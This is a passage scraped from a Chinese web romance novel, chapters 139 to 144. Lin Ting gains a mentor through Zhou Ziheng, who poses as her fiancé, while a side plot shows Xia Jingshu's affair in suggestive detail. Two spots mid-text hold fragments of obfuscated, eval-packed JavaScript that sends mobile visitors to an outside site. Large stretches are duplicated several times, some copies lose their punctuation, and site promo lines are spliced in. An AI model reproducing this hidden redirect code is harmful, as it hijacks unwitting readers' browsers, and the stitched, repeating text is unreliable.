江书臣:“小听以前过得够苦的,你要是真想求得她原谅,就真心祝福她,支持她的每一个决定吧。再说,柚子不认江遇,也不是林听教唆的,根本不用林听教唆,就江遇以前做的那些糊涂事,柚子一辈子不认他这个爹,也完全没有任何过错。” 夏静姝:“话是没错,可……” 江书臣:“好啦,小听和阿衡的事情,你别再多嘴了。” 不远处,周自衡看着江书臣夏静姝夫妇俩。 虽然他不知道两夫妻在说着什么,但不难看出,江书臣在哄着夏静姝。 他不由有些嗤之以鼻。 林听发现周自衡的脸色不太对劲,问,“你脸色怎么这么阴沉?” 周自衡继续吃着早餐,“江书臣很有可能被戴绿帽子了。” “不是吧?”林听大吃一惊,“你从哪里看出来的?” 周自衡放下叉子,再次答非所问,“林听,刚刚的那个提议,你再考虑考虑。” 林听还沉浸在上一个话题之中。 她在疑惑着,夏静姝和书臣哥感情一直很好,周自衡是怎么看出来,夏静姝会给书臣哥戴绿帽子的? 她没听太真切,“你说什么?” 周自衡准备一步一步,将她彻底套牢,“我和领证结婚,那个男人自然拿你无可奈何。当然,我们只是假结婚,如同你上次和宋律风领证一样。” 第140章 从小暗恋她? 林听完全没有反应过来。 她手上叉着培根的动作,不知不觉停下来。 和面前这个男人四目相对时,他的眼神明明那样平静自然,毫无波动。 林听却觉得,他这样沉静的目光,却要把她的身影彻底烙进他的眼底一般。 似乎,这又是她的错觉。 这时,对面的周自衡,优雅地擦了擦嘴角,“我吃饱了。” 举手投足间,他是那样淡定如常,“你还想吃点什么?我去帮你取。” 迟疑了片刻,林听这才把叉子上的半根培根,送入嘴里。 她细细地嚼着嘴里的培根,也细细地琢磨着周自衡的那个提议。 琢磨了好一会儿,她才抬头问他: “周自衡,难道以后你就不打算真正找个能走进你心里的女孩子,结婚生孩子,好好过日子?” 餐桌对面的周自衡,还是那样淡定如常,“要找,我何必等到现在还单身一人?” 他双手肘在餐桌上,十指合指,平静地看着她。 “你应该知道,我从来不信任任何人。” “我身边充满了算计、利用、杀戮。” “红颜多祸水,我可不想惹祸上身。” 说起这件事情,周自衡一阵苦笑。 这一点,林听是清楚的。 周自衡的身边,连他最亲的父母,一直都在利用他。 他确实没有办法信任任何人。 难怪他一直不愿意触碰男女感情。 要是有哪个女的,以爱情的名义接近他,利用他,算计他。 他看似麻木无情,手段残忍。 可是,他要是一旦爱上哪个女孩子,肯定会往死里宠着疼着。 要是那个女孩子接近他,利用他,重情重义的他会死得很惨的。 想想,又觉得挺可悲的。 他这般小心翼翼地活在周家,到最后还是差点被周家的人送上枪决刑场。 这时,周自衡又说,“要不是看在,你救过我,也是我唯一信得过的人,你那些烂事,我才懒得管。” 林听忽然心情很好,“周自衡,我是你唯一信得过的人呀?” 这样一来,她更要投桃报李。 在她快死的时候,是周自衡救了她一命。 不,他救了她两条命,另一条是苏秀珍拿着刀子冲向她时,他替她挡了一刀。 这样的周自衡,比她的亲人还要亲呢。 就在刚刚,她细细琢磨着,周自衡为什么要三番五次帮她解决麻烦。 从小暗恋她? 一直在套路她? 可她又立即否决了这个猜测。 不可能的。 唯一解释得通的是,周自衡一直在报儿时的救命之恩。 她希望周自衡能遇到一个,治愈他内心创伤,照亮他整个灰暗人生的女孩子。 “周自衡,领证的事情,还是算了吧。” 周自衡的命运,比她更苦。 她不想那么自私的,一直占用他的人生。 毕竟,结婚领证的事情,并不是儿戏。 她的这一句话,让周自衡的眼神一暗。 有什么东西,在他眼里碎掉。 他看着垂头,继续吃东西的林听,问,“江遇之后,你是不是再也不碰感情,不碰婚姻?” 林听抬起头来,勉强挤出笑容来,“你不是也说我,以前是个恋爱脑。以后,我想以事业为重。” 妈妈的那笔遗产,她到现在还没有拿到。 而她之前所有的存款,都用来给柚子买了一套学区房,还置办了几十万的教育基金。 那笔钱,也取不出来。 她很快就要没钱了。 她要先在这个社会上立足,感情的事情,真的不愿意再去想。 听到这个回答,周自衡觉得,自己未免操之过急。 这个话题,他不再继续。 早餐后,二人准备进入会场。 周自衡领着林听进场时,遇到了江书臣。 他让洛高先带林听进去,然后将江书臣叫到了无人的地方。 江书臣问,“阿衡,什么事情?” 周自衡不答反问,“最近你和夏静姝,感情出问题了?” 江书臣觉得好讶异,“你为何突然问我这个?我和静姝的感情一直很好,没有任何问题啊。” 周自衡:“……” 这种事情,他要怎么提醒江书臣? 他看人向来很准。 夏静姝一定背着江书臣,做过对不起他的事情。 “你应该多留意留意,你家那位。” “什么意思呀,阿衡?” “自己悟!” 周自衡拍了拍江书臣的肩,便进主会场了。 留下江书臣站在原地,毫无头绪,“难道是我疏忽了静姝,没有好好陪她,连阿衡也看出来了?” 近日江遇完全不管集团的事情。 他忙得昏天暗地。 夏静姝老是埋怨,他没有时间陪她。 而且夏静姝正好三十岁。 三十岁的女人,如狼似虎。 倒也不是周自衡招架不住,是他真的太忙了,近日来他真的疏忽了静姝,一直没有满足到她。 江书臣开始自责,自己并不是一个称职的丈夫。 就在江书臣自我反省的时候,周自衡已经坐到了林听的身边。 这次医药研发学术研讨会,是链接学术界与医药产业界的重要平台。 整个大会为期三天。 通过聚焦前沿技术,共享科研成果,探讨行业挑战,来推动创新药物的研发与临床落地。 林听坐在周自衡的旁边,一直认真听着各个大佬发表的讲话。 这些年,她学业被迫中断,又坐过牢,已经完全跟不上这个时代了。 好在,来的时候她做足了功夫,所有发表讲话的大佬,近年来发表的学术论文,她都有做过研究。 尤其是中医界的泰斗人物,薛志明,薛老先生。 她发表的论文,她每一篇都做足了笔记。 上大学的时候,她学的是中医医学。 如果能够师承薛老先生,那她将来在中医界也能有一席立足之地。 薛老讲话结束,周自衡在她旁边,小声说: “周氏医药已经和薛老达成了合作意向,一会儿我引荐你,与他老人家见一见。” 林听侧过脑袋来看着他,两只眼睛里冒着光,“真的?” 周自衡已经有许久,没有见过林听眼睛里这样的光彩了。 那时候,她在医学院可是个佼佼者。 她发表的每一篇学术论文,都能获奖。 只是这些年,林家和江家,折断了她的翅膀,她再也不能够飞翔了。 很早以前,周自衡便知道,林听想师承与薛老名下。 她上大学的时候,就在密切关注着薛老的所有学术论文。 其实,今天这场会,他完全没必要亲自来。 他不过是为了替林听铺路,才亲自来了一趟江市。 此时此刻,看到林听眼里的光芒,仿佛大学时代那个活泼机灵的林听,又活过来了。 周自衡的唇角,也不由掠过一丝欣慰的笑意,“嗯,晚上我安排了一个饭局,让你见见薛老。” 那时的林听,就是一朵花。 一朵绽放在阳光里,明媚娇妍的花。 可是她被摧残,身心枯萎,周自衡想让她重新绽放出属于自己的美丽。 他静静地看着林听。 林听喝了一口金桔柠檬水,不经意一抬眸,又看到了周自衡这抹目视自己的目光。 明明平静如湖,无风,无浪,无波澜。 却像是有一个隐藏的巨大的旋涡,要把她吸进去。 第141章 这位是我未婚妻 周自衡这样的目光,让林听下意识地垂眸避开。 低头后,她看似平静地做着记录,却再也不敢与他对视。 身侧的周自衡,就这样侧眸静静地看着她做记录。 周遭的参会人员,突然都变成了透明人。 他的眼里,只剩下认真做记录的林听。 连空气也变得清新无比。 周自衡就这么呼吸着这清新的空气,嘴角是压也压不住的浅浅笑意。 他从来没有奢望过,能有这么多与林听单独相处的时机。 他就在她的旁边。 曾经,她和江遇在一起的时候,即使他对她爱意狂烈,依然要碍于她与江遇的关系而克制隐藏。 如今他的目光终于可以一直停留在她身上了。 真好! 埋头与笔记本前的林听,虽然没有再抬眸,却总是察觉到周自衡的目光一直落在她的身上。 真是灼人得很。 被他这样盯着,总是静不下心来听薛老发表讲话。 她握着笔,抬眸,瞪了他一眼。 “周自衡,你盯得我心里发麻,可不可以别盯着我看了,好像我是你的猎物似的。” 她把他的脑袋,推过去,面向台上发表讲话的薛老先生。 面向正前方的周自衡,听着她嘀咕了几句,笑而不语。 斜后方,一双眼睛直直地盯着二人在会场的“打情骂俏”。 那人,是江遇。 见到林听和周自衡在会场都如此亲密恩爱,他的指甲深深地掐进掌心里。 大会如火如荼地进行着。 …… 威尼斯酒店。 夏静姝拥着一个男人,一路跌跌撞撞,双双卧倒在软软的大床。 这一次,夏静姝约的男人,是她在鹏城的一个健身教练。 教练八尺身高,一身结实有力的肌肉。 尺寸和力量方面,夏静姝都十分满意。 这些日子,江书臣忙于**医药的事情,经常加班到凌晨。 他们有大半个月,没有过夫妻生活了。 但是夏静姝一点也没有被饿到。 原本她是想着,跟着江书臣一起来江市出差,如果他能够照顾到她的需求, 这三天她便不会在外面约别的男人。 可是她都跟到江市来了,昨晚江书臣依旧加班到凌晨。 她在酒店开了另一个房间。 江书臣刚刚去大会,她便迫不及待了。 得到满足后,夏静姝躺在健身教练的怀里。 生理的欲望是被填满了。 可是心里却是空虚寂寞的。 她从来不想背叛江书臣。 江书臣是一个很好的丈夫。 对她细致,体贴,温柔,宠爱。 唯一让她不满的一点,就是他太忙了,忙得根本没有时间陪她。 现在她躺在别的男人怀里,夏静姝想的却是江书臣。 她对江书臣,满心的愧疚感。 她从来不想把自己的婚姻,搞得如此乌烟瘴气。 可是她是一个年轻气盛的女人。 她有她正常的生理需求。 她没有办法控制住自己。 这种偷情的刺激感,越来越上瘾,像是碰了毒一样,戒也戒不掉。 “静姝姐姐,你最近越来越有女人味了。 健身教练,是个二十四岁的小伙。 年轻力壮,那方面的精力,特别旺盛。 他的手,掐在夏静姝的腰间,“尤其是姐姐的皮肤,简直吹弹可破。 “把你的手拿开。做完之后,夏静姝生理上得到了满足。 她已不再需要这个教练,“老规矩,做完之后就不许再碰我。 她觉得自己挺恶心的。 有那么一个绝世好老公,却要在外面找男人。 连她自己也有些瞧不起自己。 所以,她从来不会对外面的男人,交付真心。 她只是身体出轨。 但她的心灵还是干净的。 她还爱着他的丈夫,江书臣。 很爱,很爱。 …… 午时。 大会一结束,江书臣便回了酒店房间。 他想到周自衡给他的提醒,要多留意妻子夏静姝。 周自衡大概是想提醒他,他忙于工作,对妻子关心太少了。 所以回到房间之前,他订了一束夏静姝最喜欢的蓝色妖姬。 “老公 你回来啦!” 听到开门时夏静姝立即扑过去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792539|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 见到江书臣拿回来的花她顿时喜笑颜开地接过来。 是她最喜欢的花。 她就知道她的老公最疼她。 早上和健身教练偷情的事又让她内疚了好一会儿。 不过 夏静姝把江书臣拉到餐桌前“老公我叫了你最喜欢的法式鹅肝还有神户牛肉。” 窗帘轻掩着。 一室烛光摇曳。 气氛恰到好处。 江书臣满心愧疚地将妻子拥入怀里“静姝对不起这段时间是我忽略你了。” 温柔的吻落在夏静姝额头。 这一吻让夏静姝全身轻轻发颤。 尤其是偷情过后她对江书臣满心内疚她想要找到更多的存在感想要用自己的身体弥补江书臣。 她用她最热烈的吻回应他“老公我们好久都没有做了你要我好不好……” 她缓缓躺在餐桌上。 双脚夹在江书臣结实的腰间。 做着漂亮美甲的手解着江书臣的腰间皮带。 江书臣知道妻子喜欢玩新鲜花样。 可是这大中午的…… “静姝我怕中午时间不够。晚上好吗?” “不要我就要现在不要拒绝我。” …… 末了夏静姝躺在江书臣的怀里。 突然哭了。 不管外面的那些男人给予她多少刺激感和新鲜感她还是最喜欢江书臣。 她不想在外面背叛江书臣的她多么希望自己从来没有做过那些脏事。 她不是一个好妻子。 这样的泪水让江书臣心疼坏了。 他拭过她红润的脸蛋拭去她的泪水“老婆对不起这段时间确实是老公冷落了你。” 夏静姝钻进江书臣的怀里她知道那个该说对不起的人是她越是内疚她越是将江书臣抱得更紧“老公我会永远爱你。” …… 傍晚。 大会结束周自衡安排了一个饭局。 见到薛志明薛老先生这位在中医界的泰斗人物时林听激动坏了。 上大学的时候她就渴望着能够师承于薛老先生。 如今近七八年的时间过去了薛老先生虽是满头白发却是满眼精神矍铄。 周自衡向薛老先生介绍着林听“薛老这位是我未婚妻林听。” 第142章 打情骂俏 周自衡介绍着林听时语气那样自然流露。 仿佛她真的就是他的未婚妻似的。 说话间他的大掌紧紧握着她的左手与她十指紧扣着。 他平静如常。 林听倒是有些不自在了。 她的小手在周自衡的掌心里紧紧一崩。 这样紧崩的状态被周自衡察觉着。 知道她有些尴尬和不适应可他却握得更紧。 他就是要让她习惯他们之间如此十指紧扣的相处模式。 直到掌心里的那只小手没有那么抗拒了周自衡的嘴角才露出一丝浅浅笑意。 包厢里的薛老先生满眼慈祥地打量着林听“你就是林听?” 薛老笑着又说“我可是早就听说过你。” 早年周自衡也是学医的。 他学的是西医。 薛老先生看过周自衡发表的许多学术论文。 正好薛老先生在做中西医结合的课题研究。 他想邀请周自衡加入他们的团队。 可是那时的周自衡无心这些课题研究。 那时专注于得到周才昆的另眼相看也专注于家族生意。 他也知道林听一直想师承于薛老先生便将林听推荐给了薛老。 薛老看过林听发表的一些中医论文觉得她是个人才。 刚刚答应周自衡决定收林听这个徒弟时 没事出之前薛老一直想把自己的孙女介绍给周自衡。 可是周自衡说他已经有心上人了。 周自衡没说他的心上人是谁可是薛老能够猜测出来。 眼前这位林听怕就是周自衡藏在心里的那位姑娘了。 此时此刻。 林听有讶异。 啊? 薛老先生从哪里听说过她? “小林来坐坐下来慢慢说。” 今晚的饭局只有周自衡、薛老、林听还有洛高和薛老的助理。 包厢里再无别人。 洛高和薛老的助理赶紧去拉开椅子。 林听等薛老坐下后这才坐到薛老的旁边。 而周自衡突然有一通 电话打进来。 他对揉了揉林听的脑袋,“我接个电话,你和薛老先聊着。” 然后,对薛老礼貌一笑,“薛老,先失陪一下。” 落座后的薛老挥了挥手,意思是让他去接他的电话,然后,对林听笑道: “小林啊,八年前阿衡就向我推荐过你,希望我收你为徒。” 啊? 林听恍然大悟,原来是这样。 八年前,她想师承薛老这件事情,她只对江遇说过。 周自衡怎么知道? 而且听薛老对周自衡这一声“阿衡”的称呼,不难看出。 两人关系不浅。 薛老笑着又说,“阿衡这小子够有恒心,到现在还惦记着这件事情,可见他一直把你的事情放在心上。” 林听朝几米开外,接着电话的周自衡看了一眼。 这个男人举手投足间,透着令人战栗的压迫感。 仿佛他生来就是上位者。 连他窗前的整个城市夜景,也都成了他权力版图的陪衬。 他生来只做一件事情,在周家杀出一条血路。 这样一个日日周旋与家族杀戮的男人,怎么可能把她观察得如此细致入微。 如果不是细致入微,周自衡又怎么可能知道,她上大学的时候,就想师承于薛老先生? 从周自衡那挺拔伟岸的身影抽回眸光后,林听听薛老又说: “小林啊,你愿不愿意入我门下,和我这把老骨头还有我门下的师兄师姐们一起,将我们华夏的中医瑰宝发扬光大?” 闻言,林听难掩激动,“薛老,你真的愿意收我为徒?” 这可是她上大学时的梦想。 上大学那会儿,她只有两个梦想。 一是嫁给江遇。 二是师承薛老。 那时她觉得,如果人生能够完成这两个梦想,便是完美。 现在想来,恋爱嫁人这些,她根本不感兴趣,更不可能再让自己成为恋爱脑,也不可能再和江遇在一起。 她只想好好稳固自己的事业。 突然间,她点头如捣蒜。 顿时激动得热泪盈眶,“老师,我愿意!” 薛老很快拿来了师承合同。 他们当 场将师承合同签了下来。 有了这份师承合同。 即使没有医科大学毕业等林听跟着薛老学完一样可以从医就业。 她太兴奋了。 “阿衡从小就不容易。人人都说他是私生子说他冷漠无情手段残忍其实啊他是我见过的最有情有义的人。” “你啊可是捡到宝了。” 林听没有解释她和周自衡之间的真正关系。 她莞尔一笑。 薛老叹了一口气又道: “可惜啊没能让阿衡成为我的孙女婿人生一大遗憾。” “那个时候我想把我的宝贝孙女介绍给阿衡他借口说有心上人。” “我以为这只是他拒绝我的借口没想到这小子真的一直有心上人。” “小林啊你和阿衡也算是苦尽甘来。既然在一起了就要好好珍惜彼此。” 等周自衡打完电话回来看见二人已经签好了师承合同。 他立马以茶代酒双手奉上“薛老我未婚妻学中医这件事就要拜托您了!” 接过茶 周自衡:“一定!” 饭局结束。 周自衡和林听一起回了酒店。 从电梯里出来林听问“周自衡薛老把他的孙女介绍过给你?” 周自衡走在她的身侧“嗯我拒绝了。” 林听嘀咕了一句“你还拿我当挡箭牌说我是你心上人?” 闻言周自衡停下来看着林听“薛老告诉你了?” “嗯。” “林听你是个聪明人。这句话是真是假你应该能够辨别。” “我当然能啊肯定是假啊。那个时候你无心男女感情之事拿我当挡箭牌也是正常的我又没怪你。” 周自衡实在是拿她无可奈何。 说她聪明吧她又是真的很笨。 只好勾唇一笑。 这笑意间颇有爱她在心口难开的无可奈何。 他抬手间故意拍了拍她的脑袋“笨**!” “嘶周自衡你又弄疼我了!” “谁叫你这么笨。” “我现在可是薛老的徒弟我可不笨。” “……” “对了周自衡你怎么知道我一直想师承于薛老?我记得上大学的时候我从来没有对别人说过。” 因为……她的所有事情他都十分关注。 就算她不说。 他平静如琥珀般的目光深深地看着她。 来日方长那些年少至今的心事他打算以后慢慢再讲给她听“江遇告诉过我。” “哦!”林听信以为真地点点头。 两人继续往回走。 到了房间门口一个不速之客同时闯入二人视线。 林听下意识的挽紧周自衡的手臂。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 场将师承合同签了下来。 有了这份师承合同。 即使没有医科大学毕业,等林听跟着薛老学完,一样可以从医就业。 她太兴奋了。 “阿衡从小就不容易。人人都说他是私生子,说他冷漠无情,手段残忍,其实啊,他是我见过的最有情有义的人。 “你啊,可是捡到宝了。 林听没有解释她和周自衡之间的真正关系。 她莞尔一笑。 薛老叹了一口气,又道: “可惜啊,没能让阿衡成为我的孙女婿,人生一大遗憾。 “那个时候我想把我的宝贝孙女介绍给阿衡,他借口说有心上人。 “我以为这只是他拒绝我的借口,没想到这小子真的一直有心上人。 “小林啊,你和阿衡也算是苦尽甘来。既然在一起了,就要好好珍惜彼此。 等周自衡打完电话回来,看见二人已经签好了师承合同。 他立马以茶代酒,双手奉上,“薛老,我未婚妻学中医这件事,就要拜托您了! 接过茶,薛老笑着应声,“什么时候办婚礼,一定要请我喝喜酒。 周自衡:“一定! 饭局结束。 周自衡和林听一起回了酒店。 从电梯里出来,林听问,“周自衡,薛老把他的孙女介绍过给你? 周自衡走在她的身侧,“嗯,我拒绝了。 林听嘀咕了一句,“你还拿我当挡箭牌,说我是你心上人? 闻言,周自衡停下来,看着林听,“薛老告诉你了? “嗯。 “林听,你是个聪明人。这句话是真是假,你应该能够辨别。 “我当然能啊,肯定是假啊。那个时候你无心男女感情之事,拿我当挡箭牌也是正常的,我又没怪你。 周自衡实在是拿她无可奈何。 说她聪明吧,她又是真的很笨。 只好勾唇一笑。 这笑意间,颇有爱她在心口难开的无可奈何。 他抬手间,故意拍了拍她的脑袋,“笨**! “嘶,周自衡,你又弄疼我了! “谁叫你这么笨。 “我现在可是薛老的徒弟,我可不笨。 “…… “对了,周自衡,你怎么知道我一直想师承于薛老?我记得上大学的时候,我从来没有对别人说过。 因为……她的所有事情,他都十分关注。 就算她不说。 他平静如琥珀般的目光,深深地看着她。 来日方长,那些年少至今的心事,他打算以后慢慢再讲给她听,“江遇告诉过我。 “哦!林听信以为真地点点头。 两人继续往回走。 到了房间门口,一个不速之客,同时闯入二人视线。 林听下意识的,挽紧周自衡的手臂。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 场将师承合同签了下来。 有了这份师承合同。 即使没有医科大学毕业,等林听跟着薛老学完,一样可以从医就业。 她太兴奋了。 “阿衡从小就不容易。人人都说他是私生子,说他冷漠无情,手段残忍,其实啊,他是我见过的最有情有义的人。” “你啊,可是捡到宝了。” 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“可惜啊,没能让阿衡成为我的孙女婿,人生一大遗憾。 “那个时候我想把我的宝贝孙女介绍给阿衡,他借口说有心上人。 “我以为这只是他拒绝我的借口,没想到这小子真的一直有心上人。 “小林啊,你和阿衡也算是苦尽甘来。既然在一起了,就要好好珍惜彼此。 等周自衡打完电话回来,看见二人已经签好了师承合同。 他立马以茶代酒,双手奉上,“薛老,我未婚妻学中医这件事,就要拜托您了! 接过茶,薛老笑着应声,“什么时候办婚礼,一定要请我喝喜酒。 周自衡:“一定! 饭局结束。 周自衡和林听一起回了酒店。 从电梯里出来,林听问,“周自衡,薛老把他的孙女介绍过给你? 周自衡走在她的身侧,“嗯,我拒绝了。 林听嘀咕了一句,“你还拿我当挡箭牌,说我是你心上人? 闻言,周自衡停下来,看着林听,“薛老告诉你了? “嗯。 “林听,你是个聪明人。这句话是真是假,你应该能够辨别。 “我当然能啊,肯定是假啊。那个时候你无心男女感情之事,拿我当挡箭牌也是正常的,我又没怪你。 周自衡实在是拿她无可奈何。 说她聪明吧,她又是真的很笨。 只好勾唇一笑。 这笑意间,颇有爱她在心口难开的无可奈何。 他抬手间,故意拍了拍她的脑袋,“笨**! “嘶,周自衡,你又弄疼我了! “谁叫你这么笨。 “我现在可是薛老的徒弟,我可不笨。 “…… “对了,周自衡,你怎么知道我一直想师承于薛老?我记得上大学的时候,我从来没有对别人说过。 因为……她的所有事情,他都十分关注。 就算她不说。 他平静如琥珀般的目光,深深地看着她。 来日方长,那些年少至今的心事,他打算以后慢慢再讲给她听,“江遇告诉过我。 “哦!林听信以为真地点点头。 两人继续往回走。 到了房间门口,一个不速之客,同时闯入二人视线。 林听下意识的,挽紧周自衡的手臂。 你的朋友正在书荒,快去帮帮他吧 场将师承合同签了下来。 有了这份师承合同。 即使没有医科大学毕业,等林听跟着薛老学完,一样可以从医就业。 她太兴奋了。 “阿衡从小就不容易。人人都说他是私生子,说他冷漠无情,手段残忍,其实啊,他是我见过的最有情有义的人。 “你啊,可是捡到宝了。 林听没有解释她和周自衡之间的真正关系。 她莞尔一笑 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“我当然能啊,肯定是假啊。那个时候你无心男女感情之事,拿我当挡箭牌也是正常的,我又没怪你。 周自衡实在是拿她无可奈何。 说她聪明吧,她又是真的很笨。 只好勾唇一笑。 这笑意间,颇有爱她在心口难开的无可奈何。 他抬手间,故意拍了拍她的脑袋,“笨**! “嘶,周自衡,你又弄疼我了! “谁叫你这么笨。 “我现在可是薛老的徒弟,我可不笨。 “…… “对了,周自衡,你怎么知道我一直想师承于薛老?我记得上大学的时候,我从来没有对别人说过。 因为……她的所有事情,他都十分关注。 就算她不说。 他平静如琥珀般的目光,深深地看着她。 来日方长,那些年少至今的心事,他打算以后慢慢再讲给她听,“江遇告诉过我。 “哦!林听信以为真地点点头。 两人继续往回走。 到了房间门口,一个不速之客,同时闯入二人视线。 林听下意识的,挽紧周自衡的手臂。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 场将师承合同签了下来。 有了这份师承合同。 即使没有医科大学毕业,等林听跟着薛老学完,一样可以从医就业。 她太兴奋了。 “阿衡从小就不容易。人人都说他是私生子,说他冷漠无情,手段残忍,其实啊,他是我见过的最有情有义的人。 “你啊,可是捡到宝了。 林听没有解释她和周自衡之间的真正关系。 她莞尔一笑。 薛老叹了一口气,又道: “可惜啊,没能让阿衡成为我的孙女婿,人生一大遗憾。 “那个时候我想把我的宝贝孙女介绍给阿衡,他借口说有心上人。 “我以为这只是他拒绝我的借口,没想到这小子真的一直有心上人。 “小林啊,你和阿衡也算是苦尽甘来。既然在一起了,就要好好珍惜彼此。 等周自衡打完电话回来,看见二人已经签好了师承合同。 他立马以茶代酒,双手奉上,“薛老,我未婚妻学中医这件事,就要拜托您了! 接过茶,薛老笑着应声,“什么时候办婚礼,一定要请我喝喜酒。 周自衡:“一定! 饭局结束。 周自衡和林听一起回了酒店。 从电梯里出来,林听问,“周自衡,薛老把他的孙女介绍过给你? 周自衡走在她的身侧,“嗯,我拒绝了。 林听嘀咕了一句,“你还拿我当挡箭牌,说我是你心上人? 闻言,周自衡停下来,看着林听,“薛老告诉你了? “嗯。 “林听,你是个聪明人。这句话是真是假,你应该能够辨别。 “我当然能啊,肯定是假啊。那个时候你无心男女感情之事,拿我当挡箭牌也是正常的,我又没怪你。 周自衡实在是拿她无可奈何。 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“我现在可是薛老的徒弟我可不笨。” “……” “对了周自衡你怎么知道我一直想师承于薛老?我记得上大学的时候我从来没有对别人说过。” 因为……她的所有事情他都十分关注。 就算她不说。 他平静如琥珀般的目光深深地看着她。 来日方长那些年少至今的心事他打算以后慢慢再讲给她听“江遇告诉过我。” “哦!”林听信以为真地点点头。 两人继续往回走。 到了房间门口一个不速之客同时闯入二人视线。 林听下意识的挽紧周自衡的手臂。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第143章 我看你们是痴心妄想 那个同时闯入林听和周自衡视线的人,是——江遇。 江遇挺拔英俊的身影,站在林听房间门口。 手中夹着一根吸了一半的烟。 见林听手挽着周自衡的胳膊,江遇整张英俊的脸,忽然浸在一片暗色之中。 一双凤眸,由明转暗。 整个挺拔的身影,像是要碎掉了一样。 尽管江遇心里苦楚难受,可他还是保持着面上的镇定自若,掐灭了手中的烟头,朝着林听和周自衡,上前了两步。 “林听,我有事要跟你说,方便借一步说话吗?” 林听依然挽着周自衡的手臂,脸色淡淡,直接拒绝,“不好意思,不方便。” “……”江遇的眼中,闪过一丝微不可察的挫败感。 缓了几秒钟,他才又道,“不耽误你多少时间,最多五分钟。” 林听还是语气冷淡,“别说五分钟,五秒钟也不行。我男朋友会吃醋。” “对吧,阿衡!”说着,林听故意抬头,满眼撒娇地看着周自衡。 那双水灵灵的大眼,冲着周自衡小鸟依人般一笑。 笑得明媚动人。 周自衡无比溺爱地捏了捏她的鼻尖,“算你有良心!” 阿衡! 这两个字眼,刺激着江遇的心脏。 有种痛苦,从四肢百骸里涌出来,直冲心脏。 曾经,林听只会一声又一声,温柔亲昵地唤着他:阿遇,阿遇。 再看林听冲着周自衡那明媚的笑容,他的指甲深深掐入掌心里。 他紧紧地握着刚刚掐掉的烟头。 未灭的火星子,在掌心里滚烫灼人。 那灼烧的疼痛,却不及胸口伤痛的十分之一。 强忍着这阵被林听冷漠的痛楚,他沉沉地吸了一口气,这才又道,“那我就在这里说。” 林听干脆利落道,“一分钟。” 江遇:“……我约了薛老,他答应明晚一起吃个饭。林听,上大学的时候,你不是一直想师承于薛老吗。明晚是个很好的机会,一起去见见薛老吧。” 说着,他又解释,“你入狱的时候,医学院给林家打过电话,问过你的学籍问题。你的学籍是被林家父子二人废除掉的。我本来想阻 止,已经来不及了。” 林听笑不活了。 她哼了一声,“江遇,我是不是应该感谢你,阻止过林家父子二人?” 停顿片刻,她又说,“如果不是你们联合着,一起将我送进监狱,我的学籍会被废除吗?” 这件事情,江遇万分自责,“我知道,是我太浑蛋了。所以,我约了薛老,希望助你在医学这条道路上……” “江遇,用不着你好心。”林听斩钉截铁,“就在半个小时前,我已经和薛老见过面,并且签订了师承合同。” 她的人生,她的学业,她的事业,全都**遇和林家父子二人给毁了。 但她要爬起来,重新开始新的生活。 江遇恍然大悟,目光落在周自衡身上,“是你安排的?” 周自衡将林听的手扣在掌心里,“江遇,林听现在是我周自衡的未婚妻。她的事情,你没有资格再插手。” 江遇:“……” 在一阵哑口无言中,他眼睁睁地看着周自衡牵着林听,走到房间门口,刷卡,进了门。 咚! 门被紧紧关上。 那扑面而来的冷风,像刀子一样割在江遇的脸上,也割在他的心上。 …… 翌日,下午。 鹏城,东江幼儿园。 一年一度的秋节运动会,正在如火如荼地进行着。 运动会场上,有一支特殊的啦啦队。 那就是穿着玩偶服的家长。 这些家长队伍里,混着林振宇和林建国。 两父子特意疏通了关系,扮成啦啦队队员,前来看望小柚子。 林建国就小柚子这么一个外孙女。 想到小柚子之前出生在监狱里,还因为感冒高烧救治不及时,烧成脑炎,烧坏了一只耳朵。 林建国满心愧疚。 虽然已经是秋天了,可是鹏城的秋天和夏天差不多,太阳火辣辣的。 玩偶服里的林建国,淌了一身汗。 他不怕遭这趟罪。 能够远远地看着柚子,在运动会场上活力四射,值了。 短跑结束,林建国赶紧以啦啦队队员的身份,给柚子送去了一杯泡在艾莎公主杯里的温水。 “小朋友 ,累了吧,喝点水解渴。 柚子对穿着玩偶服的大熊熊,毫无抵抗力。 她不仅接过了大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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既然被认出来了,林建国也不藏了,他取下头上那颗熊脑袋,“宋律师,林听始终是我女儿,柚子也始终是我亲外孙女。我们知道错了,你能不能帮我劝劝林听,让她回家? 宋律风哼了一声,“我看你们是痴心妄想。 第144章 想让他们破镜重圆 痴心妄想几个字,让林建国痛苦不堪。 他抱着从头上取下来的大熊玩偶脑袋,顿时老泪纵横。 从他疲惫不堪的面容上流下来的,除了泪水,还有一行又一行的汗水。 就为了见一见外孙女,他不惜穿着毛茸茸的玩偶服,来到东江幼儿园的秋季运动会,给这些小小运动健将当啦啦队队员。 虽然是秋季运动会,可是鹏城的秋天足足有三十多度。 和大夏天没什么区别。 这一趟下来,林建国全身汗流成河,就像刚刚从水里捞出来似的,整个衣服全湿透了。 可是这些苦,林建国并不怕。 因为他终于看到了自己朝思暮想的小外孙女——柚子。 可是宋律风说他痴心妄想。 他怎么就痴心妄想了? “我想认回我自己的亲生女儿和亲外孙女,怎么就成了痴心妄想?” “人非圣贤,孰能无过?” “宋律师,虽然我过去错得十分离谱,但是你就不能看在我已经是一把黄土埋到脖子上的人的份上,帮我一次吗?” “我只想认回我的女儿和外孙女。” 说完,林建国一口气接不上来,脸色越来越苍白,一把老骨头颤颤巍巍,差点倒。 